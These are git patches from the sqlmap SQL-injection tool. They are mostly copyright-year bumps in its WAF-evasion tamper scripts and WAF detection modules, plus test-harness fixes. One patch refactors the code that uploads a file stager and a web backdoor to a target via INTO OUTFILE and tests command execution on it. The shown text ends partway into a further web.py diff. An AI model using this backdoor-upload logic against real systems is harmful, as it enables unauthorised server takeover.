971ac1c83..7bd9d5e23 100644 --- a/tamper/halfversionedmorekeywords.py +++ b/tamper/halfversionedmorekeywords.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2013 sqlmap developers (http://sqlmap.org/) +Copyright (c) 2006-2014 sqlmap developers (http://sqlmap.org/) See the file 'doc/COPYING' for copying permission """ diff --git a/tamper/ifnull2ifisnull.py b/tamper/ifnull2ifisnull.py index 253d0e264..749a271ae 100644 --- a/tamper/ifnull2ifisnull.py +++ b/tamper/ifnull2ifisnull.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2013 sqlmap developers (http://sqlmap.org/) +Copyright (c) 2006-2014 sqlmap developers (http://sqlmap.org/) See the file 'doc/COPYING' for copying permission """ diff --git a/tamper/modsecurityversioned.py b/tamper/modsecurityversioned.py index c2d031850..7901fd656 100644 --- a/tamper/modsecurityversioned.py +++ b/tamper/modsecurityversioned.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2013 sqlmap developers (http://sqlmap.org/) +Copyright (c) 2006-2014 sqlmap developers (http://sqlmap.org/) See the file 'doc/COPYING' for copying permission """ diff --git a/tamper/modsecurityzeroversioned.py b/tamper/modsecurityzeroversioned.py index 7adc233b4..8abe281aa 100644 --- a/tamper/modsecurityzeroversioned.py +++ b/tamper/modsecurityzeroversioned.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2013 sqlmap developers (http://sqlmap.org/) +Copyright (c) 2006-2014 sqlmap developers (http://sqlmap.org/) See the file 'doc/COPYING' for copying permission """ diff --git a/tamper/multiplespaces.py b/tamper/multiplespaces.py index 95e9c23e0..83c4e9d79 100644 --- a/tamper/multiplespaces.py +++ b/tamper/multiplespaces.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2013 sqlmap developers (http://sqlmap.org/) +Copyright (c) 2006-2014 sqlmap developers (http://sqlmap.org/) See the file 'doc/COPYING' for copying permission """ diff --git a/tamper/nonrecursivereplacement.py b/tamper/nonrecursivereplacement.py index 19a71060f..49beda7bb 100644 --- a/tamper/nonrecursivereplacement.py +++ b/tamper/nonrecursivereplacement.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2013 sqlmap developers (http://sqlmap.org/) +Copyright (c) 2006-2014 sqlmap developers (http://sqlmap.org/) See the file 'doc/COPYING' for copying permission """ diff --git a/tamper/percentage.py b/tamper/percentage.py index 50af6edd9..dcdeb9992 100644 --- a/tamper/percentage.py +++ b/tamper/percentage.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2013 sqlmap developers (http://sqlmap.org/) +Copyright (c) 2006-2014 sqlmap developers (http://sqlmap.org/) See the file 'doc/COPYING' for copying permission """ diff --git a/tamper/randomcase.py b/tamper/randomcase.py index 05b6fc9e1..6f0a0a65e 100644 --- a/tamper/randomcase.py +++ b/tamper/randomcase.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2013 sqlmap developers (http://sqlmap.org/) +Copyright (c) 2006-2014 sqlmap developers (http://sqlmap.org/) See the file 'doc/COPYING' for copying permission """ diff --git a/tamper/randomcomments.py b/tamper/randomcomments.py index b37e5d768..1b6b0a04c 100644 --- a/tamper/randomcomments.py +++ b/tamper/randomcomments.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2013 sqlmap developers (http://sqlmap.org/) +Copyright (c) 2006-2014 sqlmap developers (http://sqlmap.org/) See the file 'doc/COPYING' for copying permission """ diff --git a/tamper/securesphere.py b/tamper/securesphere.py index ff3a65219..fc5896433 100644 --- a/tamper/securesphere.py +++ b/tamper/securesphere.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2013 sqlmap developers (http://sqlmap.org/) +Copyright (c) 2006-2014 sqlmap developers (http://sqlmap.org/) See the file 'doc/COPYING' for copying permission """ diff --git a/tamper/sp_password.py b/tamper/sp_password.py index e668a28f5..25cf3a1e8 100644 --- a/tamper/sp_password.py +++ b/tamper/sp_password.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2013 sqlmap developers (http://sqlmap.org/) +Copyright (c) 2006-2014 sqlmap developers (http://sqlmap.org/) See the file 'doc/COPYING' for copying permission """ diff --git a/tamper/space2comment.py b/tamper/space2comment.py index 755b2c616..ad32f39e5 100644 --- a/tamper/space2comment.py +++ b/tamper/space2comment.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2013 sqlmap developers (http://sqlmap.org/) +Copyright (c) 2006-2014 sqlmap developers (http://sqlmap.org/) See the file 'doc/COPYING' for copying permission """ diff --git a/tamper/space2dash.py b/tamper/space2dash.py index dc06a37f2..69eb43f71 100644 --- a/tamper/space2dash.py +++ b/tamper/space2dash.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2013 sqlmap developers (http://sqlmap.org/) +Copyright (c) 2006-2014 sqlmap developers (http://sqlmap.org/) See the file 'doc/COPYING' for copying permission """ diff --git a/tamper/space2hash.py b/tamper/space2hash.py index e62f82f50..cb59750c1 100644 --- a/tamper/space2hash.py +++ b/tamper/space2hash.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2013 sqlmap developers (http://sqlmap.org/) +Copyright (c) 2006-2014 sqlmap developers (http://sqlmap.org/) See the file 'doc/COPYING' for copying permission """ diff --git a/tamper/space2morehash.py b/tamper/space2morehash.py index 49309a596..f208e9f37 100644 --- a/tamper/space2morehash.py +++ b/tamper/space2morehash.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2013 sqlmap developers (http://sqlmap.org/) +Copyright (c) 2006-2014 sqlmap developers (http://sqlmap.org/) See the file 'doc/COPYING' for copying permission """ diff --git a/tamper/space2mssqlblank.py b/tamper/space2mssqlblank.py index b9f4dd1b4..0f1dcbad3 100644 --- a/tamper/space2mssqlblank.py +++ b/tamper/space2mssqlblank.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2013 sqlmap developers (http://sqlmap.org/) +Copyright (c) 2006-2014 sqlmap developers (http://sqlmap.org/) See the file 'doc/COPYING' for copying permission """ diff --git a/tamper/space2mssqlhash.py b/tamper/space2mssqlhash.py index 9de9539a7..6c911fb42 100644 --- a/tamper/space2mssqlhash.py +++ b/tamper/space2mssqlhash.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2013 sqlmap developers (http://sqlmap.org/) +Copyright (c) 2006-2014 sqlmap developers (http://sqlmap.org/) See the file 'doc/COPYING' for copying permission """ diff --git a/tamper/space2mysqlblank.py b/tamper/space2mysqlblank.py index f866d6924..4538ec78c 100644 --- a/tamper/space2mysqlblank.py +++ b/tamper/space2mysqlblank.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2013 sqlmap developers (http://sqlmap.org/) +Copyright (c) 2006-2014 sqlmap developers (http://sqlmap.org/) See the file 'doc/COPYING' for copying permission """ diff --git a/tamper/space2mysqldash.py b/tamper/space2mysqldash.py index eae93e8bb..d8cbf542d 100644 --- a/tamper/space2mysqldash.py +++ b/tamper/space2mysqldash.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2013 sqlmap developers (http://sqlmap.org/) +Copyright (c) 2006-2014 sqlmap developers (http://sqlmap.org/) See the file 'doc/COPYING' for copying permission """ diff --git a/tamper/space2plus.py b/tamper/space2plus.py index c2d87cbf2..cb8facf91 100644 --- a/tamper/space2plus.py +++ b/tamper/space2plus.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2013 sqlmap developers (http://sqlmap.org/) +Copyright (c) 2006-2014 sqlmap developers (http://sqlmap.org/) See the file 'doc/COPYING' for copying permission """ diff --git a/tamper/space2randomblank.py b/tamper/space2randomblank.py index 054fe260a..ebe22edcc 100644 --- a/tamper/space2randomblank.py +++ b/tamper/space2randomblank.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2013 sqlmap developers (http://sqlmap.org/) +Copyright (c) 2006-2014 sqlmap developers (http://sqlmap.org/) See the file 'doc/COPYING' for copying permission """ diff --git a/tamper/unionalltounion.py b/tamper/unionalltounion.py index eecf5e66e..35ce36dfb 100644 --- a/tamper/unionalltounion.py +++ b/tamper/unionalltounion.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2013 sqlmap developers (http://sqlmap.org/) +Copyright (c) 2006-2014 sqlmap developers (http://sqlmap.org/) See the file 'doc/COPYING' for copying permission """ diff --git a/tamper/unmagicquotes.py b/tamper/unmagicquotes.py index 78c391efa..e79db0fc9 100644 --- a/tamper/unmagicquotes.py +++ b/tamper/unmagicquotes.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2013 sqlmap developers (http://sqlmap.org/) +Copyright (c) 2006-2014 sqlmap developers (http://sqlmap.org/) See the file 'doc/COPYING' for copying permission """ diff --git a/tamper/versionedkeywords.py b/tamper/versionedkeywords.py index 203325c85..42e3212b7 100644 --- a/tamper/versionedkeywords.py +++ b/tamper/versionedkeywords.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2013 sqlmap developers (http://sqlmap.org/) +Copyright (c) 2006-2014 sqlmap developers (http://sqlmap.org/) See the file 'doc/COPYING' for copying permission """ diff --git a/tamper/versionedmorekeywords.py b/tamper/versionedmorekeywords.py index c4ddfd8a7..df07e2424 100644 --- a/tamper/versionedmorekeywords.py +++ b/tamper/versionedmorekeywords.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2013 sqlmap developers (http://sqlmap.org/) +Copyright (c) 2006-2014 sqlmap developers (http://sqlmap.org/) See the file 'doc/COPYING' for copying permission """ diff --git a/thirdparty/bottle/__init__.py b/thirdparty/bottle/__init__.py index 9e1072a9c..5bad2814c 100644 --- a/thirdparty/bottle/__init__.py +++ b/thirdparty/bottle/__init__.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2013 sqlmap developers (http://sqlmap.org/) +Copyright (c) 2006-2014 sqlmap developers (http://sqlmap.org/) See the file 'doc/COPYING' for copying permission """ diff --git a/waf/__init__.py b/waf/__init__.py index 9e1072a9c..5bad2814c 100644 --- a/waf/__init__.py +++ b/waf/__init__.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2013 sqlmap developers (http://sqlmap.org/) +Copyright (c) 2006-2014 sqlmap developers (http://sqlmap.org/) See the file 'doc/COPYING' for copying permission """ diff --git a/waf/airlock.py b/waf/airlock.py index 4038adbb1..39efadac6 100644 --- a/waf/airlock.py +++ b/waf/airlock.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2013 sqlmap developers (http://sqlmap.org/) +Copyright (c) 2006-2014 sqlmap developers (http://sqlmap.org/) See the file 'doc/COPYING' for copying permission """ diff --git a/waf/barracuda.py b/waf/barracuda.py index 740178ff1..ad81087db 100644 --- a/waf/barracuda.py +++ b/waf/barracuda.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2013 sqlmap developers (http://sqlmap.org/) +Copyright (c) 2006-2014 sqlmap developers (http://sqlmap.org/) See the file 'doc/COPYING' for copying permission """ diff --git a/waf/bigip.py b/waf/bigip.py index 75e8c1d01..f5b844e32 100644 --- a/waf/bigip.py +++ b/waf/bigip.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2013 sqlmap developers (http://sqlmap.org/) +Copyright (c) 2006-2014 sqlmap developers (http://sqlmap.org/) See the file 'doc/COPYING' for copying permission """ diff --git a/waf/binarysec.py b/waf/binarysec.py index 1f7e7ec95..876d69da7 100644 --- a/waf/binarysec.py +++ b/waf/binarysec.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2013 sqlmap developers (http://sqlmap.org/) +Copyright (c) 2006-2014 sqlmap developers (http://sqlmap.org/) See the file 'doc/COPYING' for copying permission """ diff --git a/waf/ciscoacexml.py b/waf/ciscoacexml.py index a384ccec0..7d927c6c3 100644 --- a/waf/ciscoacexml.py +++ b/waf/ciscoacexml.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2013 sqlmap developers (http://sqlmap.org/) +Copyright (c) 2006-2014 sqlmap developers (http://sqlmap.org/) See the file 'doc/COPYING' for copying permission """ diff --git a/waf/cloudflare.py b/waf/cloudflare.py index be293b7c6..c0aa259d9 100644 --- a/waf/cloudflare.py +++ b/waf/cloudflare.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2013 sqlmap developers (http://sqlmap.org/) +Copyright (c) 2006-2014 sqlmap developers (http://sqlmap.org/) See the file 'doc/COPYING' for copying permission """ diff --git a/waf/datapower.py b/waf/datapower.py index 66dde7bb6..5750f2a56 100644 --- a/waf/datapower.py +++ b/waf/datapower.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2013 sqlmap developers (http://sqlmap.org/) +Copyright (c) 2006-2014 sqlmap developers (http://sqlmap.org/) See the file 'doc/COPYING' for copying permission """ diff --git a/waf/denyall.py b/waf/denyall.py index 8819206b5..3db1459a8 100644 --- a/waf/denyall.py +++ b/waf/denyall.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2013 sqlmap developers (http://sqlmap.org/) +Copyright (c) 2006-2014 sqlmap developers (http://sqlmap.org/) See the file 'doc/COPYING' for copying permission """ diff --git a/waf/dotdefender.py b/waf/dotdefender.py index 9cc66e18b..6abe1d908 100644 --- a/waf/dotdefender.py +++ b/waf/dotdefender.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2013 sqlmap developers (http://sqlmap.org/) +Copyright (c) 2006-2014 sqlmap developers (http://sqlmap.org/) See the file 'doc/COPYING' for copying permission """ diff --git a/waf/fortiweb.py b/waf/fortiweb.py index 2ad3d26fc..99c2de225 100644 --- a/waf/fortiweb.py +++ b/waf/fortiweb.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2013 sqlmap developers (http://sqlmap.org/) +Copyright (c) 2006-2014 sqlmap developers (http://sqlmap.org/) See the file 'doc/COPYING' for copying permission """ diff --git a/waf/hyperguard.py b/waf/hyperguard.py index 8061c2ef4..421409222 100644 --- a/waf/hyperguard.py +++ b/waf/hyperguard.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2013 sqlmap developers (http://sqlmap.org/) +Copyright (c) 2006-2014 sqlmap developers (http://sqlmap.org/) See the file 'doc/COPYING' for copying permission """ diff --git a/waf/incapsula.py b/waf/incapsula.py index 0ba8138a4..4c8a2d2d5 100644 --- a/waf/incapsula.py +++ b/waf/incapsula.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2013 sqlmap developers (http://sqlmap.org/) +Copyright (c) 2006-2014 sqlmap developers (http://sqlmap.org/) See the file 'doc/COPYING' for copying permission """ diff --git a/waf/isaserver.py b/waf/isaserver.py index 6b0374236..c3ab334de 100644 --- a/waf/isaserver.py +++ b/waf/isaserver.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2013 sqlmap developers (http://sqlmap.org/) +Copyright (c) 2006-2014 sqlmap developers (http://sqlmap.org/) See the file 'doc/COPYING' for copying permission """ diff --git a/waf/jiasule.py b/waf/jiasule.py index fa180e32d..d3b5aeb4f 100644 --- a/waf/jiasule.py +++ b/waf/jiasule.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2013 sqlmap developers (http://sqlmap.org/) +Copyright (c) 2006-2014 sqlmap developers (http://sqlmap.org/) See the file 'doc/COPYING' for copying permission """ diff --git a/waf/knownsec.py b/waf/knownsec.py index 1f963f845..5fa0043b6 100644 --- a/waf/knownsec.py +++ b/waf/knownsec.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2013 sqlmap developers (http://sqlmap.org/) +Copyright (c) 2006-2014 sqlmap developers (http://sqlmap.org/) See the file 'doc/COPYING' for copying permission """ diff --git a/waf/kona.py b/waf/kona.py index 146fab1e3..d958ad9ec 100644 --- a/waf/kona.py +++ b/waf/kona.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2013 sqlmap developers (http://sqlmap.org/) +Copyright (c) 2006-2014 sqlmap developers (http://sqlmap.org/) See the file 'doc/COPYING' for copying permission """ diff --git a/waf/modsecurity.py b/waf/modsecurity.py index be056cc45..6827d6945 100644 --- a/waf/modsecurity.py +++ b/waf/modsecurity.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2013 sqlmap developers (http://sqlmap.org/) +Copyright (c) 2006-2014 sqlmap developers (http://sqlmap.org/) See the file 'doc/COPYING' for copying permission """ diff --git a/waf/netcontinuum.py b/waf/netcontinuum.py index 8ee0fc8c6..b37a0ceba 100644 --- a/waf/netcontinuum.py +++ b/waf/netcontinuum.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2013 sqlmap developers (http://sqlmap.org/) +Copyright (c) 2006-2014 sqlmap developers (http://sqlmap.org/) See the file 'doc/COPYING' for copying permission """ diff --git a/waf/netscaler.py b/waf/netscaler.py index b62edfdc0..4afe51b18 100644 --- a/waf/netscaler.py +++ b/waf/netscaler.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2013 sqlmap developers (http://sqlmap.org/) +Copyright (c) 2006-2014 sqlmap developers (http://sqlmap.org/) See the file 'doc/COPYING' for copying permission """ diff --git a/waf/paloalto.py b/waf/paloalto.py index ca2bcd810..963230467 100644 --- a/waf/paloalto.py +++ b/waf/paloalto.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2013 sqlmap developers (http://sqlmap.org/) +Copyright (c) 2006-2014 sqlmap developers (http://sqlmap.org/) See the file 'doc/COPYING' for copying permission """ diff --git a/waf/profense.py b/waf/profense.py index d5346cac1..4745c8bd3 100644 --- a/waf/profense.py +++ b/waf/profense.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2013 sqlmap developers (http://sqlmap.org/) +Copyright (c) 2006-2014 sqlmap developers (http://sqlmap.org/) See the file 'doc/COPYING' for copying permission """ diff --git a/waf/proventia.py b/waf/proventia.py index 3083428a4..a5def9a72 100644 --- a/waf/proventia.py +++ b/waf/proventia.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2013 sqlmap developers (http://sqlmap.org/) +Copyright (c) 2006-2014 sqlmap developers (http://sqlmap.org/) See the file 'doc/COPYING' for copying permission """ diff --git a/waf/radware.py b/waf/radware.py index 951769b4f..8cd65b125 100644 --- a/waf/radware.py +++ b/waf/radware.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2013 sqlmap developers (http://sqlmap.org/) +Copyright (c) 2006-2014 sqlmap developers (http://sqlmap.org/) See the file 'doc/COPYING' for copying permission """ diff --git a/waf/secureiis.py b/waf/secureiis.py index 0082a8b62..6a2ad18df 100644 --- a/waf/secureiis.py +++ b/waf/secureiis.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2013 sqlmap developers (http://sqlmap.org/) +Copyright (c) 2006-2014 sqlmap developers (http://sqlmap.org/) See the file 'doc/COPYING' for copying permission """ diff --git a/waf/teros.py b/waf/teros.py index c2e693d81..5811e67d1 100644 --- a/waf/teros.py +++ b/waf/teros.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2013 sqlmap developers (http://sqlmap.org/) +Copyright (c) 2006-2014 sqlmap developers (http://sqlmap.org/) See the file 'doc/COPYING' for copying permission """ diff --git a/waf/trafficshield.py b/waf/trafficshield.py index bcc5b59a5..873009ae9 100644 --- a/waf/trafficshield.py +++ b/waf/trafficshield.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2013 sqlmap developers (http://sqlmap.org/) +Copyright (c) 2006-2014 sqlmap developers (http://sqlmap.org/) See the file 'doc/COPYING' for copying permission """ diff --git a/waf/uspses.py b/waf/uspses.py index b6362242e..a3b7281a5 100644 --- a/waf/uspses.py +++ b/waf/uspses.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2013 sqlmap developers (http://sqlmap.org/) +Copyright (c) 2006-2014 sqlmap developers (http://sqlmap.org/) See the file 'doc/COPYING' for copying permission """ diff --git a/waf/varnish.py b/waf/varnish.py index fe95cd28b..4edffdbbb 100644 --- a/waf/varnish.py +++ b/waf/varnish.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2013 sqlmap developers (http://sqlmap.org/) +Copyright (c) 2006-2014 sqlmap developers (http://sqlmap.org/) See the file 'doc/COPYING' for copying permission """ diff --git a/waf/webappsecure.py b/waf/webappsecure.py index 7bd417473..6d1ec75bb 100644 --- a/waf/webappsecure.py +++ b/waf/webappsecure.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2013 sqlmap developers (http://sqlmap.org/) +Copyright (c) 2006-2014 sqlmap developers (http://sqlmap.org/) See the file 'doc/COPYING' for copying permission """ diff --git a/waf/webknight.py b/waf/webknight.py index e17b18a6b..c260faa44 100644 --- a/waf/webknight.py +++ b/waf/webknight.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2013 sqlmap developers (http://sqlmap.org/) +Copyright (c) 2006-2014 sqlmap developers (http://sqlmap.org/) See the file 'doc/COPYING' for copying permission """ diff --git a/xml/livetests.xml b/xml/livetests.xml index c91bb04f5..7a498d4c7 100644 --- a/xml/livetests.xml +++ b/xml/livetests.xml @@ -149,12 +149,12 @@ - - + + - + - + From 3c79d66569257a97fccb8d46a0fb2362c8b4cdb5 Mon Sep 17 00:00:00 2001 From: Bernardo Damele Date: Mon, 13 Jan 2014 17:34:38 +0000 Subject: [PATCH 185/889] fixed stderr --- lib/core/testing.py | 3 +-- 1 file changed, 1 insertion(+), 2 deletions(-) diff --git a/lib/core/testing.py b/lib/core/testing.py index c29e20a75..b7af70902 100644 --- a/lib/core/testing.py +++ b/lib/core/testing.py @@ -192,8 +192,7 @@ def liveTest(): errMsg = "test failed" if Failures.failedItems: - errMsg += " at parsing items:\n" - errMsg += "\n".join("\t%s" % i for i in Failures.failedItems) + errMsg += " at parsing items: %s" % ", ".join(i for i in Failures.failedItems) errMsg += " - scan folder: %s" % paths.SQLMAP_OUTPUT_PATH errMsg += " - traceback: %s" % bool(Failures.failedTraceBack) From 536b44a429e0d40ca9ec3944c22202645e965994 Mon Sep 17 00:00:00 2001 From: Bernardo Damele Date: Mon, 13 Jan 2014 17:38:04 +0000 Subject: [PATCH 186/889] adapted --- extra/shutils/regressiontest.py | 3 ++- 1 file changed, 2 insertions(+), 1 deletion(-) diff --git a/extra/shutils/regressiontest.py b/extra/shutils/regressiontest.py index 5acc7352f..9c1e73863 100755 --- a/extra/shutils/regressiontest.py +++ b/extra/shutils/regressiontest.py @@ -31,6 +31,7 @@ FROM = "regressiontest@sqlmap.org" #TO = "dev@sqlmap.org" TO = ["bernardo.damele@gmail.com", "miroslav.stampar@gmail.com"] SUBJECT = "regression test started on %s using revision %s" % (START_TIME, REVISION) +TARGET = "debian" def prepare_email(content): global FROM @@ -96,7 +97,7 @@ def main(): test_counts.append(test_count) console_output_file = os.path.join(output_folder, "console_output") - log_file = os.path.join(output_folder, "debiandev", "log") + log_file = os.path.join(output_folder, TARGET, "log") traceback_file = os.path.join(output_folder, "traceback") if os.path.exists(console_output_file): From 85f60d0c09751549773cf7c35f8c2e7bb8d04b56 Mon Sep 17 00:00:00 2001 From: Bernardo Damele Date: Mon, 13 Jan 2014 17:41:33 +0000 Subject: [PATCH 187/889] leftovers --- extra/shutils/regressiontest.py | 2 +- xml/livetests.xml | 8 ++++---- 2 files changed, 5 insertions(+), 5 deletions(-) diff --git a/extra/shutils/regressiontest.py b/extra/shutils/regressiontest.py index 9c1e73863..a080a2af7 100755 --- a/extra/shutils/regressiontest.py +++ b/extra/shutils/regressiontest.py @@ -78,7 +78,7 @@ def main(): if stderr: failure_email("Update of sqlmap failed with error:\n\n%s" % stderr) - regressionproc = subprocess.Popen("python /opt/sqlmap/sqlmap.py --live-test --run-case 'MySQL UNION query multi-threaded enumeration'", shell=True, stdin=subprocess.PIPE, stdout=subprocess.PIPE, stderr=subprocess.PIPE, close_fds=False) + regressionproc = subprocess.Popen("python /opt/sqlmap/sqlmap.py --live-test", shell=True, stdin=subprocess.PIPE, stdout=subprocess.PIPE, stderr=subprocess.PIPE, close_fds=False) stdout, stderr = regressionproc.communicate() if stderr: diff --git a/xml/livetests.xml b/xml/livetests.xml index 7a498d4c7..c91bb04f5 100644 --- a/xml/livetests.xml +++ b/xml/livetests.xml @@ -149,12 +149,12 @@ - - + + - + - + From b86353b485dbce6c468668e55e0dd9d3784bdc91 Mon Sep 17 00:00:00 2001 From: Bernardo Damele Date: Mon, 13 Jan 2014 23:34:25 +0000 Subject: [PATCH 188/889] minor fix to DB2 test case --- xml/livetests.xml | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/xml/livetests.xml b/xml/livetests.xml index c91bb04f5..27dc79b44 100644 --- a/xml/livetests.xml +++ b/xml/livetests.xml @@ -773,7 +773,7 @@ - + From 4e8ab4814503a4994bf0aef4eaf941f51cd3e217 Mon Sep 17 00:00:00 2001 From: Bernardo Damele Date: Mon, 13 Jan 2014 23:48:00 +0000 Subject: [PATCH 189/889] fixed match --- xml/livetests.xml | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/xml/livetests.xml b/xml/livetests.xml index 27dc79b44..466218ecc 100644 --- a/xml/livetests.xml +++ b/xml/livetests.xml @@ -3210,7 +3210,7 @@ - + From 124ebefc7fc10de8231d44a5a8381c87126f4c37 Mon Sep 17 00:00:00 2001 From: Bernardo Damele Date: Mon, 13 Jan 2014 23:48:15 +0000 Subject: [PATCH 190/889] code cleanup --- lib/takeover/web.py | 14 ++++++-------- 1 file changed, 6 insertions(+), 8 deletions(-) diff --git a/lib/takeover/web.py b/lib/takeover/web.py index eed5dd36b..973302686 100644 --- a/lib/takeover/web.py +++ b/lib/takeover/web.py @@ -128,7 +128,7 @@ class Web: return False def _webFileInject(self, fileContent, fileName, directory): - outFile = posixpath.normpath("%s/%s" % (directory, fileName)) + outFile = ntToPosixSlashes(os.path.join(directory, fileName)) uplQuery = getUnicode(fileContent).replace("WRITABLE_DIR", directory.replace('/', '\\\\') if Backend.isOs(OS.WINDOWS) else directory) query = "" @@ -217,8 +217,6 @@ class Web: else: directory = directory[2:] if isWindowsDriveLetterPath(directory) else directory - directory = posixpath.normpath(directory) - # Upload the file stager with the LIMIT 0, 1 INTO OUTFILE technique infoMsg = "trying to upload the file stager on '%s' " % directory infoMsg += "via LIMIT INTO OUTFILE technique" @@ -228,7 +226,7 @@ class Web: for x in list(re.finditer('/', directory)): self.webBaseUrl = "%s://%s:%d%s" % (conf.scheme, conf.hostname, conf.port, directory[x.start():]) self.webStagerUrl = os.path.join(self.webBaseUrl, stagerName) - self.webStagerFilePath = posixpath.normpath(ntToPosixSlashes(os.path.join(directory, stagerName))) + self.webStagerFilePath = ntToPosixSlashes(os.path.join(directory, stagerName)) debugMsg = "trying to see if the file is accessible from %s" % self.webStagerUrl logger.debug(debugMsg) @@ -266,7 +264,7 @@ class Web: for x in list(re.finditer('/', directory)): self.webBaseUrl = "%s://%s:%d%s" % (conf.scheme, conf.hostname, conf.port, directory[x.start():]) self.webStagerUrl = os.path.join(self.webBaseUrl, stagerName) - self.webStagerFilePath = ntToPosixSlashes(normalizePath("%s/%s" % (directory, stagerName))).replace("//", "/").rstrip('/') + self.webStagerFilePath = ntToPosixSlashes(os.path.join(directory, stagerName)) debugMsg = "trying to see if the file is accessible from %s" % self.webStagerUrl logger.debug(debugMsg) @@ -282,7 +280,7 @@ class Web: if not uploaded: self.webBaseUrl = "%s://%s:%d/" % (conf.scheme, conf.hostname, conf.port) self.webStagerUrl = os.path.join(self.webBaseUrl, stagerName) - self.webStagerFilePath = posixpath.normpath(ntToPosixSlashes(os.path.join(directory, stagerName))) + self.webStagerFilePath = ntToPosixSlashes(os.path.join(directory, stagerName)) debugMsg = "trying to see if the file is accessible from %s" % self.webStagerUrl logger.debug(debugMsg) @@ -344,10 +342,10 @@ class Web: else: continue - self.webBackdoorUrl = "%s/%s" % (self.webBaseUrl, backdoorName) + self.webBackdoorUrl = ntToPosixSlashes(os.path.join(self.webBaseUrl, backdoorName)) self.webDirectory = directory - self.webBackdoorFilePath = ntToPosixSlashes(normalizePath("%s/%s" % (directory, backdoorName))).replace("//", "/").rstrip('/') + self.webBackdoorFilePath = ntToPosixSlashes(os.path.join(directory, backdoorName)) testStr = "command execution test" output = self.webBackdoorRunCmd("echo %s" % testStr) From 1505f1dc7421551494c1d528c46b39a5686b4a2d Mon Sep 17 00:00:00 2001 From: Bernardo Damele Date: Mon, 13 Jan 2014 23:55:32 +0000 Subject: [PATCH 191/889] removed useless sink --- lib/takeover/web.py | 3 --- 1 file changed, 3 deletions(-) diff --git a/lib/takeover/web.py b/lib/takeover/web.py index 973302686..71f5819be 100644 --- a/lib/takeover/web.py +++ 